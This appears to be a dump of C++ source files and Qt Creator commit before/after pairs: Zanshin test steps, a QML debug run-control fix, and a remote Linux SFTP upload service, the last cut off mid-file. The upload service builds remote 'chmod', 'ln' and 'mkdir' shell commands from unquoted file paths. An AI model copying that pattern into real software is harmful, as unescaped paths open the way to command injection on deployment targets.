VERIFY(!property.isEmpty());
ScenarioScope<ZanshinContext> context;
VERIFY(context->editor->setProperty(property, value));
}
WHEN("^I open the item in the editor again$") {
ScenarioScope<ZanshinContext> context;
auto artifact = context->index.data(Presentation::QueryTreeModelBase::ObjectRole)
.value<Domain::Artifact::Ptr>();
VERIFY(artifact);
VERIFY(context->editor->setProperty("artifact", QVariant::fromValue(Domain::Artifact::Ptr())));
VERIFY(context->editor->setProperty("artifact", QVariant::fromValue(artifact)));
QTest::qWait(500);
}
WHEN("^the setting key (\\S+) changes to (\\d+)$") {
REGEX_PARAM(QString, keyName);
REGEX_PARAM(qint64, id);
KConfigGroup config(KGlobal::config(), "General");
config.writeEntry(keyName, id);
}
WHEN("^the user changes the default (\\S+) data source to (.*)$") {
REGEX_PARAM(QString, sourceType);
REGEX_PARAM(QString, sourceName);
ScenarioScope<ZanshinContext> context;
auto sourcesModel = sourceType == "task" ? context->app->property("taskSourcesModel").value<QAbstractItemModel*>()
: sourceType == "note" ? context->app->property("noteSourcesModel").value<QAbstractItemModel*>()
: 0;
QTest::qWait(500);
// I wish models had iterators...
QList<Domain::DataSource::Ptr> sources;
for (int i = 0; i < sourcesModel->rowCount(); i++)
sources << sourcesModel->index(i, 0).data(Presentation::QueryTreeModelBase::ObjectRole)
.value<Domain::DataSource::Ptr>();
auto source = *std::find_if(sources.begin(), sources.end(),
[=] (const Domain::DataSource::Ptr &source) {
return source->name() == sourceName;
});
auto propertyName = sourceType == "task" ? "defaultTaskDataSource"
: sourceType == "note" ? "defaultNoteDataSource"
: 0;
context->app->setProperty(propertyName, QVariant::fromValue(source));
}
THEN("^the list is") {
TABLE_PARAM(tableParam);
ScenarioScope<ZanshinContext> context;
auto roleNames = context->model()->roleNames();
QSet<int> usedRoles;
QStandardItemModel referenceModel;
for (const auto row : tableParam.hashes()) {
QStandardItem *item = new QStandardItem;
for (const auto it : row) {
const QByteArray roleName = it.first.data();
const QString value = QString::fromUtf8(it.second.data());
const int role = roleNames.key(roleName, -1);
VERIFY_OR_DUMP(role != -1);
item->setData(value, role);
usedRoles.insert(role);
}
referenceModel.appendRow(item);
}
QSortFilterProxyModel proxy;
proxy.setSourceModel(&referenceModel);
proxy.setSortRole(Qt::DisplayRole);
proxy.sort(0);
for (int row = 0; row < context->indices.size(); row++) {
QModelIndex expectedIndex = proxy.index(row, 0);
QModelIndex resultIndex = context->indices.at(row);
for (auto role : usedRoles) {
COMPARE_OR_DUMP(Zanshin::indexString(expectedIndex, role),
Zanshin::indexString(resultIndex, role));
}
}
COMPARE_OR_DUMP(proxy.rowCount(), context->indices.size());
}
THEN("^the list contains \"(.+)\"$") {
REGEX_PARAM(QString, itemName);
ScenarioScope<ZanshinContext> context;
for (int row = 0; row < context->indices.size(); row++) {
if (Zanshin::indexString(context->indices.at(row)) == itemName)
return;
}
VERIFY_OR_DUMP(false);
}
THEN("^the list does not contain \"(.+)\"$") {
REGEX_PARAM(QString, itemName);
ScenarioScope<ZanshinContext> context;
for (int row = 0; row < context->indices.size(); row++) {
VERIFY_OR_DUMP(Zanshin::indexString(context->indices.at(row)) != itemName);
}
}
THEN("^the task corresponding to the item is done$") {
ScenarioScope<ZanshinContext> context;
auto artifact = context->index.data(Presentation::QueryTreeModelBase::ObjectRole).value<Domain::Artifact::Ptr>();
VERIFY(artifact);
auto task = artifact.dynamicCast<Domain::Task>();
VERIFY(task);
VERIFY(task->isDone());
}
THEN("^the editor shows the task as done$") {
ScenarioScope<ZanshinContext> context;
VERIFY(context->editor->property("done").toBool());
}
THEN("^the editor shows \"(.*)\" as (.*)$") {
REGEX_PARAM(QString, string);
REGEX_PARAM(QString, field);
const QVariant value = (field == "text") ? string
: (field == "title") ? string
: (field == "start date") ? QDateTime::fromString(string, Qt::ISODate)
: (field == "due date") ? QDateTime::fromString(string, Qt::ISODate)
: QVariant();
const QByteArray property = (field == "text") ? field.toUtf8()
: (field == "title") ? field.toUtf8()
: (field == "start date") ? "startDate"
: (field == "due date") ? "dueDate"
: QByteArray();
VERIFY(value.isValid());
VERIFY(!property.isEmpty());
ScenarioScope<ZanshinContext> context;
COMPARE(context->editor->property(property), value);
}
THEN("^the default (\\S+) data source is (.*)$") {
REGEX_PARAM(QString, sourceType);
REGEX_PARAM(QString, expectedName);
auto propertyName = sourceType == "task" ? "defaultTaskDataSource"
: sourceType == "note" ? "defaultNoteDataSource"
: 0;
ScenarioScope<ZanshinContext> context;
auto source = context->app->property(propertyName).value<Domain::DataSource::Ptr>();
VERIFY(!source.isNull());
COMPARE(source->name(), expectedName);
}
THEN("^the setting key (\\S+) is (\\d+)$") {
REGEX_PARAM(QString, keyName);
REGEX_PARAM(qint64, expectedId);
KConfigGroup config(KGlobal::config(), "General");
const qint64 id = config.readEntry(keyName, -1);
COMPARE(id, expectedId);
}
#include "main.moc"
<|endoftext|>
|
<commit_before>/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2012 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (qt-info@nokia.com)
**
**
** GNU Lesser General Public License Usage
**
** This file may be used under the terms of the GNU Lesser General Public
** License version 2.1 as published by the Free Software Foundation and
** appearing in the file LICENSE.LGPL included in the packaging of this file.
** Please review the following information to ensure the GNU Lesser General
** Public License version 2.1 requirements will be met:
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** Other Usage
**
** Alternatively, this file may be used in accordance with the terms and
** conditions contained in a signed written agreement between you and Nokia.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
**
**************************************************************************/
#include "qmlprojectruncontrol.h"
#include "qmlprojectrunconfiguration.h"
#include <coreplugin/icore.h>
#include <projectexplorer/projectexplorerconstants.h>
#include <projectexplorer/target.h>
#include <projectexplorer/project.h>
#include <projectexplorer/projectexplorer.h>
#include <utils/qtcassert.h>
#include <debugger/debuggerrunner.h>
#include <debugger/debuggerplugin.h>
#include <debugger/debuggerconstants.h>
#include <debugger/debuggerstartparameters.h>
#include <qtsupport/baseqtversion.h>
#include <qtsupport/qmlobservertool.h>
#include <qmlprojectmanager/qmlprojectplugin.h>
using namespace ProjectExplorer;
namespace QmlProjectManager {
namespace Internal {
QmlProjectRunControl::QmlProjectRunControl(QmlProjectRunConfiguration *runConfiguration, RunMode mode)
: RunControl(runConfiguration, mode)
{
m_applicationLauncher.setEnvironment(runConfiguration->environment());
m_applicationLauncher.setWorkingDirectory(runConfiguration->workingDirectory());
if (mode == NormalRunMode) {
m_executable = runConfiguration->viewerPath();
} else {
m_executable = runConfiguration->observerPath();
}
m_commandLineArguments = runConfiguration->viewerArguments();
m_mainQmlFile = runConfiguration->mainScript();
connect(&m_applicationLauncher, SIGNAL(appendMessage(QString,Utils::OutputFormat)),
this, SLOT(slotAppendMessage(QString, Utils::OutputFormat)));
connect(&m_applicationLauncher, SIGNAL(processExited(int)),
this, SLOT(processExited(int)));
connect(&m_applicationLauncher, SIGNAL(bringToForegroundRequested(qint64)),
this, SLOT(slotBringApplicationToForeground(qint64)));
}
QmlProjectRunControl::~QmlProjectRunControl()
{
stop();
}
void QmlProjectRunControl::start()
{
m_applicationLauncher.start(ApplicationLauncher::Gui, m_executable,
m_commandLineArguments);
setApplicationProcessHandle(ProcessHandle(m_applicationLauncher.applicationPID()));
emit started();
QString msg = tr("Starting %1 %2\n")
.arg(QDir::toNativeSeparators(m_executable), m_commandLineArguments);
appendMessage(msg, Utils::NormalMessageFormat);
}
RunControl::StopResult QmlProjectRunControl::stop()
{
m_applicationLauncher.stop();
return StoppedSynchronously;
}
bool QmlProjectRunControl::isRunning() const
{
return m_applicationLauncher.isRunning();
}
QIcon QmlProjectRunControl::icon() const
{
return QIcon(ProjectExplorer::Constants::ICON_RUN_SMALL);
}
void QmlProjectRunControl::slotBringApplicationToForeground(qint64 pid)
{
bringApplicationToForeground(pid);
}
void QmlProjectRunControl::slotAppendMessage(const QString &line, Utils::OutputFormat format)
{
appendMessage(line, format);
}
void QmlProjectRunControl::processExited(int exitCode)
{
QString msg = tr("%1 exited with code %2\n")
.arg(QDir::toNativeSeparators(m_executable)).arg(exitCode);
appendMessage(msg, exitCode ? Utils::ErrorMessageFormat : Utils::NormalMessageFormat);
emit finished();
}
QString QmlProjectRunControl::mainQmlFile() const
{
return m_mainQmlFile;
}
QmlProjectRunControlFactory::QmlProjectRunControlFactory(QObject *parent)
: IRunControlFactory(parent)
{
}
QmlProjectRunControlFactory::~QmlProjectRunControlFactory()
{
}
bool QmlProjectRunControlFactory::canRun(RunConfiguration *runConfiguration,
RunMode mode) const
{
QmlProjectRunConfiguration *config =
qobject_cast<QmlProjectRunConfiguration*>(runConfiguration);
if (!config)
return false;
if (mode == NormalRunMode)
return !config->viewerPath().isEmpty();
if (mode != DebugRunMode)
return false;
if (!Debugger::DebuggerPlugin::isActiveDebugLanguage(Debugger::QmlLanguage))
return false;
if (!config->observerPath().isEmpty())
return true;
if (!config->qtVersion())
return false;
if (!config->qtVersion()->needsQmlDebuggingLibrary())
return true;
if (QtSupport::QmlObserverTool::canBuild(config->qtVersion()))
return true;
return false;
}
RunControl *QmlProjectRunControlFactory::create(RunConfiguration *runConfiguration,
RunMode mode)
{
QTC_ASSERT(canRun(runConfiguration, mode), return 0);
QmlProjectRunConfiguration *config = qobject_cast<QmlProjectRunConfiguration *>(runConfiguration);
QList<ProjectExplorer::RunControl *> runcontrols =
ProjectExplorer::ProjectExplorerPlugin::instance()->runControls();
foreach (ProjectExplorer::RunControl *rc, runcontrols) {
if (QmlProjectRunControl *qrc = qobject_cast<QmlProjectRunControl *>(rc)) {
if (qrc->mainQmlFile() == config->mainScript())
// Asking the user defeats the purpose
// Making it configureable might be worth it
qrc->stop();
}
}
RunControl *runControl = 0;
if (mode == NormalRunMode)
runControl = new QmlProjectRunControl(config, mode);
else if (mode == DebugRunMode)
runControl = createDebugRunControl(config);
return runControl;
}
QString QmlProjectRunControlFactory::displayName() const
{
return tr("Run");
}
ProjectExplorer::RunConfigWidget *QmlProjectRunControlFactory::createConfigurationWidget(RunConfiguration *runConfiguration)
{
Q_UNUSED(runConfiguration)
return 0;
}
RunControl *QmlProjectRunControlFactory::createDebugRunControl(QmlProjectRunConfiguration *runConfig)
{
Debugger::DebuggerStartParameters params;
params.startMode = Debugger::StartInternal;
params.executable = runConfig->observerPath();
params.qmlServerAddress = "127.0.0.1";
params.qmlServerPort = runConfig->qmlDebugServerPort();
params.processArgs = QString("-qmljsdebugger=port:%1,block").arg(runConfig->qmlDebugServerPort());
params.processArgs += QLatin1Char(' ') + runConfig->viewerArguments();
params.workingDirectory = runConfig->workingDirectory();
params.environment = runConfig->environment();
params.displayName = runConfig->displayName();
params.projectSourceDirectory = runConfig->target()->project()->projectDirectory();
params.projectSourceFiles = runConfig->target()->project()->files(Project::ExcludeGeneratedFiles);
if (!runConfig->qtVersion()->qtAbis().isEmpty())
params.toolChainAbi = runConfig->qtVersion()->qtAbis().first();
// Makes sure that all bindings go through the JavaScript engine, so that
// breakpoints are actually hit!
const QString optimizerKey = QLatin1String("QML_DISABLE_OPTIMIZER");
if (!params.environment.hasKey(optimizerKey)) {
params.environment.set(optimizerKey, QLatin1String("1"));
}
if (params.executable.isEmpty()) {
QmlProjectPlugin::showQmlObserverToolWarning();
return 0;
}
return Debugger::DebuggerPlugin::createDebugger(params, runConfig);
}
} // namespace Internal
} // namespace QmlProjectManager
<commit_msg>QmlProject: Fix debugging<commit_after>/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2012 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (qt-info@nokia.com)
**
**
** GNU Lesser General Public License Usage
**
** This file may be used under the terms of the GNU Lesser General Public
** License version 2.1 as published by the Free Software Foundation and
** appearing in the file LICENSE.LGPL included in the packaging of this file.
** Please review the following information to ensure the GNU Lesser General
** Public License version 2.1 requirements will be met:
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** Other Usage
**
** Alternatively, this file may be used in accordance with the terms and
** conditions contained in a signed written agreement between you and Nokia.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
**
**************************************************************************/
#include "qmlprojectruncontrol.h"
#include "qmlprojectrunconfiguration.h"
#include <coreplugin/icore.h>
#include <projectexplorer/projectexplorerconstants.h>
#include <projectexplorer/target.h>
#include <projectexplorer/project.h>
#include <projectexplorer/projectexplorer.h>
#include <utils/qtcassert.h>
#include <debugger/debuggerrunner.h>
#include <debugger/debuggerplugin.h>
#include <debugger/debuggerconstants.h>
#include <debugger/debuggerstartparameters.h>
#include <qtsupport/baseqtversion.h>
#include <qtsupport/qmlobservertool.h>
#include <qmlprojectmanager/qmlprojectplugin.h>
using namespace ProjectExplorer;
namespace QmlProjectManager {
namespace Internal {
QmlProjectRunControl::QmlProjectRunControl(QmlProjectRunConfiguration *runConfiguration, RunMode mode)
: RunControl(runConfiguration, mode)
{
m_applicationLauncher.setEnvironment(runConfiguration->environment());
m_applicationLauncher.setWorkingDirectory(runConfiguration->workingDirectory());
if (mode == NormalRunMode) {
m_executable = runConfiguration->viewerPath();
} else {
m_executable = runConfiguration->observerPath();
}
m_commandLineArguments = runConfiguration->viewerArguments();
m_mainQmlFile = runConfiguration->mainScript();
connect(&m_applicationLauncher, SIGNAL(appendMessage(QString,Utils::OutputFormat)),
this, SLOT(slotAppendMessage(QString, Utils::OutputFormat)));
connect(&m_applicationLauncher, SIGNAL(processExited(int)),
this, SLOT(processExited(int)));
connect(&m_applicationLauncher, SIGNAL(bringToForegroundRequested(qint64)),
this, SLOT(slotBringApplicationToForeground(qint64)));
}
QmlProjectRunControl::~QmlProjectRunControl()
{
stop();
}
void QmlProjectRunControl::start()
{
m_applicationLauncher.start(ApplicationLauncher::Gui, m_executable,
m_commandLineArguments);
setApplicationProcessHandle(ProcessHandle(m_applicationLauncher.applicationPID()));
emit started();
QString msg = tr("Starting %1 %2\n")
.arg(QDir::toNativeSeparators(m_executable), m_commandLineArguments);
appendMessage(msg, Utils::NormalMessageFormat);
}
RunControl::StopResult QmlProjectRunControl::stop()
{
m_applicationLauncher.stop();
return StoppedSynchronously;
}
bool QmlProjectRunControl::isRunning() const
{
return m_applicationLauncher.isRunning();
}
QIcon QmlProjectRunControl::icon() const
{
return QIcon(ProjectExplorer::Constants::ICON_RUN_SMALL);
}
void QmlProjectRunControl::slotBringApplicationToForeground(qint64 pid)
{
bringApplicationToForeground(pid);
}
void QmlProjectRunControl::slotAppendMessage(const QString &line, Utils::OutputFormat format)
{
appendMessage(line, format);
}
void QmlProjectRunControl::processExited(int exitCode)
{
QString msg = tr("%1 exited with code %2\n")
.arg(QDir::toNativeSeparators(m_executable)).arg(exitCode);
appendMessage(msg, exitCode ? Utils::ErrorMessageFormat : Utils::NormalMessageFormat);
emit finished();
}
QString QmlProjectRunControl::mainQmlFile() const
{
return m_mainQmlFile;
}
QmlProjectRunControlFactory::QmlProjectRunControlFactory(QObject *parent)
: IRunControlFactory(parent)
{
}
QmlProjectRunControlFactory::~QmlProjectRunControlFactory()
{
}
bool QmlProjectRunControlFactory::canRun(RunConfiguration *runConfiguration,
RunMode mode) const
{
QmlProjectRunConfiguration *config =
qobject_cast<QmlProjectRunConfiguration*>(runConfiguration);
if (!config)
return false;
if (mode == NormalRunMode)
return !config->viewerPath().isEmpty();
if (mode != DebugRunMode)
return false;
if (!Debugger::DebuggerPlugin::isActiveDebugLanguage(Debugger::QmlLanguage))
return false;
if (!config->observerPath().isEmpty())
return true;
if (!config->qtVersion())
return false;
if (!config->qtVersion()->needsQmlDebuggingLibrary())
return true;
if (QtSupport::QmlObserverTool::canBuild(config->qtVersion()))
return true;
return false;
}
RunControl *QmlProjectRunControlFactory::create(RunConfiguration *runConfiguration,
RunMode mode)
{
QTC_ASSERT(canRun(runConfiguration, mode), return 0);
QmlProjectRunConfiguration *config = qobject_cast<QmlProjectRunConfiguration *>(runConfiguration);
QList<ProjectExplorer::RunControl *> runcontrols =
ProjectExplorer::ProjectExplorerPlugin::instance()->runControls();
foreach (ProjectExplorer::RunControl *rc, runcontrols) {
if (QmlProjectRunControl *qrc = qobject_cast<QmlProjectRunControl *>(rc)) {
if (qrc->mainQmlFile() == config->mainScript())
// Asking the user defeats the purpose
// Making it configureable might be worth it
qrc->stop();
}
}
RunControl *runControl = 0;
if (mode == NormalRunMode)
runControl = new QmlProjectRunControl(config, mode);
else if (mode == DebugRunMode)
runControl = createDebugRunControl(config);
return runControl;
}
QString QmlProjectRunControlFactory::displayName() const
{
return tr("Run");
}
ProjectExplorer::RunConfigWidget *QmlProjectRunControlFactory::createConfigurationWidget(RunConfiguration *runConfiguration)
{
Q_UNUSED(runConfiguration)
return 0;
}
RunControl *QmlProjectRunControlFactory::createDebugRunControl(QmlProjectRunConfiguration *runConfig)
{
Debugger::DebuggerStartParameters params;
params.startMode = Debugger::StartInternal;
params.executable = runConfig->observerPath();
params.qmlServerAddress = "127.0.0.1";
params.qmlServerPort = runConfig->qmlDebugServerPort();
params.processArgs = QString("-qmljsdebugger=port:%1,block").arg(runConfig->qmlDebugServerPort());
params.processArgs += QLatin1Char(' ') + runConfig->viewerArguments();
params.workingDirectory = runConfig->workingDirectory();
params.environment = runConfig->environment();
params.displayName = runConfig->displayName();
params.projectSourceDirectory = runConfig->target()->project()->projectDirectory();
params.projectSourceFiles = runConfig->target()->project()->files(Project::ExcludeGeneratedFiles);
if (runConfig->useQmlDebugger())
params.languages |= Debugger::QmlLanguage;
if (runConfig->useCppDebugger())
params.languages |= Debugger::CppLanguage;
if (!runConfig->qtVersion()->qtAbis().isEmpty())
params.toolChainAbi = runConfig->qtVersion()->qtAbis().first();
// Makes sure that all bindings go through the JavaScript engine, so that
// breakpoints are actually hit!
const QString optimizerKey = QLatin1String("QML_DISABLE_OPTIMIZER");
if (!params.environment.hasKey(optimizerKey)) {
params.environment.set(optimizerKey, QLatin1String("1"));
}
if (params.executable.isEmpty()) {
QmlProjectPlugin::showQmlObserverToolWarning();
return 0;
}
return Debugger::DebuggerPlugin::createDebugger(params, runConfig);
}
} // namespace Internal
} // namespace QmlProjectManager
<|endoftext|>
|
<commit_before>/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2012 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (qt-info@nokia.com)
**
**
** GNU Lesser General Public License Usage
**
** This file may be used under the terms of the GNU Lesser General Public
** License version 2.1 as published by the Free Software Foundation and
** appearing in the file LICENSE.LGPL included in the packaging of this file.
** Please review the following information to ensure the GNU Lesser General
** Public License version 2.1 requirements will be met:
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** Other Usage
**
** Alternatively, this file may be used in accordance with the terms and
** conditions contained in a signed written agreement between you and Nokia.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
**
**************************************************************************/
#include "genericdirectuploadservice.h"
#include "deployablefile.h"
#include <utils/qtcassert.h>
#include <utils/ssh/sftpchannel.h>
#include <utils/ssh/sshconnection.h>
#include <utils/ssh/sshremoteprocess.h>
#include <QDir>
#include <QFileInfo>
#include <QList>
#include <QString>
using namespace Utils;
namespace RemoteLinux {
namespace Internal {
namespace {
enum State { Inactive, InitializingSftp, Uploading };
} // anonymous namespace
class GenericDirectUploadServicePrivate
{
public:
GenericDirectUploadServicePrivate()
: incremental(false), stopRequested(false), state(Inactive) {}
bool incremental;
bool stopRequested;
State state;
QList<DeployableFile> filesToUpload;
SftpChannel::Ptr uploader;
SshRemoteProcess::Ptr mkdirProc;
SshRemoteProcess::Ptr lnProc;
QList<DeployableFile> deployableFiles;
};
} // namespace Internal
using namespace Internal;
GenericDirectUploadService::GenericDirectUploadService(QObject *parent)
: AbstractRemoteLinuxDeployService(parent), d(new GenericDirectUploadServicePrivate)
{
}
void GenericDirectUploadService::setDeployableFiles(const QList<DeployableFile> &deployableFiles)
{
d->deployableFiles = deployableFiles;
}
void GenericDirectUploadService::setIncrementalDeployment(bool incremental)
{
d->incremental = incremental;
}
bool GenericDirectUploadService::isDeploymentNecessary() const
{
d->filesToUpload.clear();
for (int i = 0; i < d->deployableFiles.count(); ++i)
checkDeploymentNeeded(d->deployableFiles.at(i));
return !d->filesToUpload.isEmpty();
}
void GenericDirectUploadService::doDeviceSetup()
{
QTC_ASSERT(d->state == Inactive, return);
handleDeviceSetupDone(true);
}
void GenericDirectUploadService::stopDeviceSetup()
{
QTC_ASSERT(d->state == Inactive, return);
handleDeviceSetupDone(false);
}
void GenericDirectUploadService::doDeploy()
{
QTC_ASSERT(d->state == Inactive, setFinished(); return);
d->uploader = connection()->createSftpChannel();
connect(d->uploader.data(), SIGNAL(initialized()), SLOT(handleSftpInitialized()));
connect(d->uploader.data(), SIGNAL(initializationFailed(QString)),
SLOT(handleSftpInitializationFailed(QString)));
d->uploader->initialize();
d->state = InitializingSftp;
}
void GenericDirectUploadService::handleSftpInitialized()
{
QTC_ASSERT(d->state == InitializingSftp, setFinished(); return);
if (d->stopRequested) {
setFinished();
handleDeploymentDone();
return;
}
Q_ASSERT(!d->filesToUpload.isEmpty());
connect(d->uploader.data(), SIGNAL(finished(Utils::SftpJobId,QString)),
SLOT(handleUploadFinished(Utils::SftpJobId,QString)));
d->state = Uploading;
uploadNextFile();
}
void GenericDirectUploadService::handleSftpInitializationFailed(const QString &message)
{
QTC_ASSERT(d->state == InitializingSftp, setFinished(); return);
emit errorMessage(tr("SFTP initialization failed: %1").arg(message));
setFinished();
handleDeploymentDone();
}
void GenericDirectUploadService::handleUploadFinished(Utils::SftpJobId jobId, const QString &errorMsg)
{
Q_UNUSED(jobId);
QTC_ASSERT(d->state == Uploading, setFinished(); return);
if (d->stopRequested) {
setFinished();
handleDeploymentDone();
}
const DeployableFile df = d->filesToUpload.takeFirst();
if (!errorMsg.isEmpty()) {
QString errorString = tr("Upload of file '%1' failed. The server said: '%2'.")
.arg(QDir::toNativeSeparators(df.localFilePath), errorMsg);
if (errorMsg == QLatin1String("Failure") && df.remoteDir.contains(QLatin1String("/bin"))) {
errorString += QLatin1Char(' ') + tr("If '%1' is currently running "
"on the remote host, you might need to stop it first.").arg(df.remoteFilePath());
}
emit errorMessage(errorString);
setFinished();
handleDeploymentDone();
} else {
saveDeploymentTimeStamp(df);
// Terrible hack for Windows.
if (df.remoteDir.contains(QLatin1String("bin"))) {
const QString command = QLatin1String("chmod a+x ") + df.remoteFilePath();
connection()->createRemoteProcess(command.toUtf8())->start();
}
uploadNextFile();
}
}
void GenericDirectUploadService::handleLnFinished(int exitStatus)
{
QTC_ASSERT(d->state == Uploading, setFinished(); return);
if (d->stopRequested) {
setFinished();
handleDeploymentDone();
}
const DeployableFile df = d->filesToUpload.takeFirst();
const QString nativePath = QDir::toNativeSeparators(df.localFilePath);
if (exitStatus != SshRemoteProcess::ExitedNormally || d->lnProc->exitCode() != 0) {
emit errorMessage(tr("Failed to upload file '%1'.").arg(nativePath));
setFinished();
handleDeploymentDone();
return;
} else {
saveDeploymentTimeStamp(df);
uploadNextFile();
}
}
void GenericDirectUploadService::handleMkdirFinished(int exitStatus)
{
QTC_ASSERT(d->state == Uploading, setFinished(); return);
if (d->stopRequested) {
setFinished();
handleDeploymentDone();
}
const DeployableFile &df = d->filesToUpload.first();
QFileInfo fi(df.localFilePath);
const QString nativePath = QDir::toNativeSeparators(df.localFilePath);
if (exitStatus != SshRemoteProcess::ExitedNormally || d->mkdirProc->exitCode() != 0) {
emit errorMessage(tr("Failed to upload file '%1'.").arg(nativePath));
setFinished();
handleDeploymentDone();
} else if (fi.isDir()) {
saveDeploymentTimeStamp(df);
d->filesToUpload.removeFirst();
uploadNextFile();
} else {
const QString remoteFilePath = df.remoteDir + QLatin1Char('/') + fi.fileName();
if (fi.isSymLink()) {
const QString target = fi.dir().relativeFilePath(fi.symLinkTarget()); // see QTBUG-5817.
const QString command = QLatin1String("ln -vsf ") + target + QLatin1Char(' ')
+ remoteFilePath;
// See comment in SftpChannel::createLink as to why we can't use it.
d->lnProc = connection()->createRemoteProcess(command.toUtf8());
connect(d->lnProc.data(), SIGNAL(closed(int)), SLOT(handleLnFinished(int)));
connect(d->lnProc.data(), SIGNAL(readyReadStandardOutput()), SLOT(handleStdOutData()));
connect(d->lnProc.data(), SIGNAL(readyReadStandardError()), SLOT(handleStdErrData()));
d->lnProc->start();
} else {
const SftpJobId job = d->uploader->uploadFile(df.localFilePath, remoteFilePath,
SftpOverwriteExisting);
if (job == SftpInvalidJob) {
emit errorMessage(tr("Failed to upload file '%1': "
"Could not open for reading.").arg(nativePath));
setFinished();
handleDeploymentDone();
}
}
}
}
void GenericDirectUploadService::handleStdOutData()
{
SshRemoteProcess * const process = qobject_cast<SshRemoteProcess *>(sender());
if (process)
emit stdOutData(QString::fromUtf8(process->readAllStandardOutput()));
}
void GenericDirectUploadService::handleStdErrData()
{
SshRemoteProcess * const process = qobject_cast<SshRemoteProcess *>(sender());
if (process)
emit stdErrData(QString::fromUtf8(process->readAllStandardError()));
}
void GenericDirectUploadService::stopDeployment()
{
QTC_ASSERT(d->state == InitializingSftp || d->state == Uploading, setFinished(); return);
setFinished();
handleDeploymentDone();
}
void GenericDirectUploadService::checkDeploymentNeeded(const DeployableFile &deployable) const
{
QFileInfo fileInfo(deployable.localFilePath);
if (fileInfo.isDir()) {
const QStringList files = QDir(deployable.localFilePath)
.entryList(QDir::Files | QDir::Dirs | QDir::NoDotAndDotDot);
if (files.isEmpty() && (!d->incremental || hasChangedSinceLastDeployment(deployable)))
d->filesToUpload << deployable;
foreach (const QString &fileName, files) {
const QString localFilePath = deployable.localFilePath
+ QLatin1Char('/') + fileName;
const QString remoteDir = deployable.remoteDir + QLatin1Char('/')
+ fileInfo.fileName();
checkDeploymentNeeded(DeployableFile(localFilePath, remoteDir));
}
} else if (!d->incremental || hasChangedSinceLastDeployment(deployable)) {
d->filesToUpload << deployable;
}
}
void GenericDirectUploadService::setFinished()
{
d->stopRequested = false;
d->state = Inactive;
if (d->mkdirProc)
disconnect(d->mkdirProc.data(), 0, this, 0);
if (d->lnProc)
disconnect(d->lnProc.data(), 0, this, 0);
if (d->uploader) {
disconnect(d->uploader.data(), 0, this, 0);
d->uploader->closeChannel();
}
}
void GenericDirectUploadService::uploadNextFile()
{
if (d->filesToUpload.isEmpty()) {
emit progressMessage(tr("All files successfully deployed."));
setFinished();
handleDeploymentDone();
return;
}
const DeployableFile &df = d->filesToUpload.first();
QString dirToCreate = df.remoteDir;
if (dirToCreate.isEmpty()) {
emit warningMessage(tr("Warning: No remote path set for local file '%1'. Skipping upload.")
.arg(QDir::toNativeSeparators(df.localFilePath)));
d->filesToUpload.takeFirst();
uploadNextFile();
return;
}
QFileInfo fi(df.localFilePath);
if (fi.isDir())
dirToCreate += QLatin1Char('/') + fi.fileName();
const QString command = QLatin1String("mkdir -p ") + dirToCreate;
d->mkdirProc = connection()->createRemoteProcess(command.toUtf8());
connect(d->mkdirProc.data(), SIGNAL(closed(int)), SLOT(handleMkdirFinished(int)));
connect(d->mkdirProc.data(), SIGNAL(readyReadStandardOutput()), SLOT(handleStdOutData()));
connect(d->mkdirProc.data(), SIGNAL(readyReadStandardError()), SLOT(handleStdErrData()));
emit progressMessage(tr("Uploading file '%1'...")
.arg(QDir::toNativeSeparators(df.localFilePath)));
d->mkdirProc->start();
}
} //namespace RemoteLinux
<commit_msg>RemoteLinux: Don't assume the ln command understands "-v".<commit_after>/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2012 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (qt-info@nokia.com)
**
**
** GNU Lesser General Public License Usage
**
** This file may be used under the terms of the GNU Lesser General Public
** License version 2.1 as published by the Free Software Foundation and
** appearing in the file LICENSE.LGPL included in the packaging of this file.
** Please review the following information to ensure the GNU Lesser General
** Public License version 2.1 requirements will be met:
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** Other Usage
**
** Alternatively, this file may be used in accordance with the terms and
** conditions contained in a signed written agreement between you and Nokia.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
**
**************************************************************************/
#include "genericdirectuploadservice.h"
#include "deployablefile.h"
#include <utils/qtcassert.h>
#include <utils/ssh/sftpchannel.h>
#include <utils/ssh/sshconnection.h>
#include <utils/ssh/sshremoteprocess.h>
#include <QDir>
#include <QFileInfo>
#include <QList>
#include <QString>
using namespace Utils;
namespace RemoteLinux {
namespace Internal {
namespace {
enum State { Inactive, InitializingSftp, Uploading };
} // anonymous namespace
class GenericDirectUploadServicePrivate
{
public:
GenericDirectUploadServicePrivate()
: incremental(false), stopRequested(false), state(Inactive) {}
bool incremental;
bool stopRequested;
State state;
QList<DeployableFile> filesToUpload;
SftpChannel::Ptr uploader;
SshRemoteProcess::Ptr mkdirProc;
SshRemoteProcess::Ptr lnProc;
QList<DeployableFile> deployableFiles;
};
} // namespace Internal
using namespace Internal;
GenericDirectUploadService::GenericDirectUploadService(QObject *parent)
